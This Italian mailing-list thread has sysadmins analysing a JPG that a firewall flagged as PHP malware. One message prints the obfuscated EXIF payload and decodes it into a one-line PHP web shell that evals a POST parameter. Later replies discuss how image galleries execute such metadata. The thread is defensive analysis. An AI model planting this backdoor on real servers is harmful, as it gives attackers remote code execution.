[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [linux_var] VIRUS JPG con codice PHP ?

forse ho trovato il buco...

ci sono delle gallerie di immagini php che sono scritte talmente male da rendere possibile eseguire codice php presente nei meta-tag delle immagini jpg...

https://null-byte.wonderhowto.com/forum/hide-php-virus-jpeg-image-0175597/

:)

Gio


Il giorno 11 ottobre 2017 12:05, Riccardo Macoratti <r.macoratti@gmx.co.uk> ha scritto:
Ciao,

magari è parte dell'exploit per l'esecuzione di qualche shellcode.
Mi spiego meglio, magari è stata scoperta qualche vulnerabilità in Apache che facendo l'upload di qualche immagine si può sbordare in qualche buffer ed eseguire codice arbitrario.

È solo una supposizione, però.

Ciao,
Riccardo

On Wed, 11 Oct 2017 11:51:25 +0200
Giovanni Orlandi <orlangio@gmail.com> wrote:

> Ciao,
>
> analizzando i log del firewall aziendale ho trovato bloccato il download
> sul PC
> di una immagine jpg (fortunatamente da un server esterno)
>
> AntiVirus
> Profile Name default
> Virus/Botnet PHP/Agent.VD!tr.bdr
> <http://www.fortinet.com/ve?vn=PHP%2FAgent.VD%21tr.bdr>
> Virus ID 5380326
> Reference http://www.fortinet.com/ve?vn=PHP%2FAgent.VD%21tr.bdr
> Detection Type Virus
> Direction incoming
> Quarantine Skip File-was-not-quarantined.
> FortiSandbox Checksum
> 1552666804a9e84d3da6741fdf81d7b20206b15d46fd3e73fd9e51c6e822e706
> Submitted to FortiSandbox false
> Message File is infected.
>
> Questo è il contenuto iniziale della jpg aperta in modo brutale con vim:
>
> ÿØÿà^@^PJFIF^@^A^A^A^@H^@H^@^@ÿá^@¡Exif^@^@II*^@^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e
> ^@eval(base64_decode('aWYgKGlzc2V0KCRfUE9TVFsienoxIl0pKSB7ZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));^@ÿÛ^@C^@^E^C^D^D^D^C^E^D^D
>
> il base64_decode diventa:
>
> *   if (isset($_POST["zz1"])) {eval(stripslashes($_POST["zz1"]));}*
>
> senz'altro pericoloso se dentro un file php sul server
> ma dentro una jpg ?
>
> Non mi pare che lo scarico di quella immagine su di un PC (windows) possa
> portare alcun pericolo,
> semmai il suo upload su di un server, che però dovrebbe "eseguire" del
> codice php dentro una immagine jpg ?!?!?!
>
> Qualcuno conosce il problema e mi può dare + informazioni ?
> Grazie,
> Giovanni
>
> --
> -----------------------------------------------------------------------------------------
> Luca 18,5 : "Poiché questa vedova è così molesta le farò giustizia, perché
> non venga continuamente a importunarmi".
> Neemia 8,10 : "...questo giorno è consacrato al nostro Signore; non siate
> tristi; perché la gioia del Signore è la vostra forza".
> GSM 345.6050488 / 327.0547392 / 392.0698126 - Fax 06.62204735


--
Riccardo Macoratti
site: http://ricma.co
email: r {dot} macoratti {at} gmx {dot} co {dot} uk
_______________________________________________
Talking mailing list
Talking@ml.linuxvar.it
http://ml.linuxvar.it/cgi-bin/mailman/listinfo/talking



--
-----------------------------------------------------------------------------------------
Luca 18,5 : "Poiché questa vedova è così molesta le farò giustizia, perché non venga continuamente a importunarmi".
Neemia 8,10 : "...questo giorno è consacrato al nostro Signore; non siate tristi; perché la gioia del Signore è la vostra forza".
GSM 345.6050488 / 327.0547392 / 392.0698126 - Fax 06.62204735
_______________________________________________
Talking mailing list
Talking@ml.linuxvar.it
http://ml.linuxvar.it/cgi-bin/mailman/listinfo/talking